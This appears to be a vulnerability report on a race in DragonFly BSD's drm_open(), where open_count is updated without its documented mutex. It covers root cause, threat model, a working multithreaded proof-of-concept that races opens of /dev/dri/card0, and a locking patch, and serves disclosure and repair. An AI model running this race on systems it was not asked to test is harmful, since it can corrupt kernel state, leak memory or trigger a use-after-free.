Summary

drm_open() does if (!dev->open_count++) need_setup = 1; with no lock held. The header sys/dev/drm/include/drm/drm_device.h:82 documents open_count as "protected by drm_global_mutex" and drm_close() honors that contract at drm_file.c:376, but drm_open() does not acquire drm_global_mutex. drm_cdevsw is registered D_MPSAFE (drm_drv.c:1148) so devfs does not serialize callers.

Concurrent opens can both observe open_count==0, both run drm_setup() (double dma setup / leaked allocations), and later underflow the counter in drm_close (--dev->open_count at line 436 going negative).

Root cause

At sys/dev/drm/drm_file.c:312-359 drm_open():

minor = drm_minor_acquire(iminor(inode));     // drops drm_minor_lock immediately
if (IS_ERR(minor)) return PTR_ERR(minor);
dev = minor->dev;
if (!dev->open_count++)                       // <-- no lock; test/inc not atomic
    need_setup = 1;
retcode = drm_open_helper(kdev, flags, filp, minor);
if (retcode) goto err_undo;
if (need_setup) {
    retcode = drm_setup(dev);                 // runs concurrent drm_legacy_dma_setup()
    ...
}
return 0;
err_undo:
dev->open_count--;                            // also unlocked
drm_minor_release(minor);

The contract is stated at sys/dev/drm/include/drm/drm_device.h:82:

int open_count;         /**< Outstanding files open, protected by drm_global_mutex. */

and drm_close() upholds it (drm_file.c:376 mutex_lock(&drm_global_mutex) ... line 443 unlock). drm_open() does not.

Compare Linux upstream which uses atomic_long_fetch_inc_relaxed(&dev->open_count) for exactly this reason; the DragonFly port kept the unlocked C ++ operator. The test !x++ is a non-atomic read-modify-write: two threads can each read 0, each set need_setup=1, each increment to 1 (lost update).

Threat model

Any unprivileged local user with /dev/dri/card0 access (which is granted by default for hardware acceleration on most desktop DragonFly installs, or to group video) can race two threads in open() on the same node.

Outcomes:

1. drm_setup() runs twice on a fresh device — drm_setup calls dev->driver->firstopen and drm_legacy_dma_setup() (drm_file.c:275-293), which allocate per-device DMA state; a second run leaks the first allocation and may leave dev->sigdata / context state inconsistent.
2. open_count is miscounted, so a later drm_close() (line 436 if (!--dev->open_count)) either fires drm_lastcall() prematurely while other fds are still open (tearing down vma/dma under live clients → use-after-free in legacy DMA paths), or never fires (open_count stuck positive, blocking device detach).

Reachability does not require root. Impact is state corruption / leak / potential secondary UAF in the legacy DMA paths; no direct privileged code execution demonstrated.

PoC

findings/poc/DF-1679/race.c:

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
static void *worker(void *arg) {
    for (int i = 0; i < 1000; i++) {
        int fd = open("/dev/dri/card0", O_RDWR);
        if (fd >= 0) close(fd);
    }
    return NULL;
}
int main(void) {
    for (int round = 0; round < 50; round++) {
        pthread_t a, b;
        pthread_create(&a, NULL, worker, NULL);
        pthread_create(&b, NULL, worker, NULL);
        pthread_join(a, NULL); pthread_join(b, NULL);
    }
    return 0;
}

build.sh: cc -O2 -Wall -pthread -o race race.c

run.sh: ./race # then watch kldstat -v | grep drm and dmesg for leaked dma setup / DRM_DEBUG 'open_count' underflow

Success criterion: with DRM_DEBUG enabled, observe two consecutive 'Initialized %s ... for %s on minor %d' lines for the same minor without an intervening lastclose, or open_count logging that goes negative (DRM_DEBUG at drm_file.c:378 prints open_count).

On legacy DMA drivers the more serious symptom is a use-after-free in drm_legacy_reclaim_buffers() after a premature drm_lastclose().

Recommended fix

Take drm_global_mutex around the open_count read/increment and the drm_setup() decision, matching the documented contract and the drm_close() pairing.

--- a/sys/dev/drm/drm_file.c
+++ b/sys/dev/drm/drm_file.c
@@ -322,6 +322,8 @@ int drm_open(struct dev_open_args *ap)
    int retcode;
    int need_setup = 0;

+   mutex_lock(&drm_global_mutex);
+
    minor = drm_minor_acquire(iminor(inode));
    if (IS_ERR(minor)) {
        retcode = PTR_ERR(minor);
@@ -350,6 +352,8 @@ err_undo:
    dev->open_count--;
    drm_minor_release(minor);
    return retcode;
+out_unlock:
+   mutex_unlock(&drm_global_mutex);
+   return retcode;
 }
 EXPORT_SYMBOL(drm_open);

(Add the matching goto out_unlock; on the IS_ERR path and the success return 0; becomes retcode = 0; goto out_unlock;. Alternatively, follow Linux upstream and convert dev->open_count to atomic_long_t with atomic_long_fetch_inc_relaxed, which avoids the global mutex.)

Related findings

• DF-1678 (sibling: drm_close ERR_PTR deref in same file)